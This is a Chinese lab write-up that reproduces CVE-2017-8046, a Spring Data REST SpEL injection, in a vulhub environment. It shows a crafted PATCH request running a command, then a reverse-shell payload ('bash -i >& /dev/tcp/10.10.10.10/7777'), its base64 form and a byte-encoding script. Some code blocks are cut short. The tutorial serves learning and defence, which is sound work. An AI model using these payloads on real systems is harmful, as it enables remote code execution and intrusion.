漏洞描述
Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务。
恶意的PATCH请求使用精心构造的JSON数据提交到spring-data-rest服务可以执行任意JAVA代码
影响版本
Spring Data REST versions prior to 2.5.12, 2.6.7, 3.0 RC3
可以查看spring-data-rest-webmvc jar包的版本
环境搭建
1 | cd /vulhub/spring/CVE-2017-8046/ |
等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。
漏洞复现
访问http://your-ip:8080/customers/1
,看到一个资源。我们使用PATCH
请求来修改之:
1 | PATCH /customers/1 HTTP/1.1 |
path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
表示的命令ouch /tmp/success
。
然后进入容器docker exec -it 容器id /bin/bash
看看:
制作反弹shell的POC:
命令:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1
base64编码:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}
通过下面的python代码将每个字符转为对应的十进制:
1 | payload = b'这里填poc' |
重新发包修改为反弹shell的poc: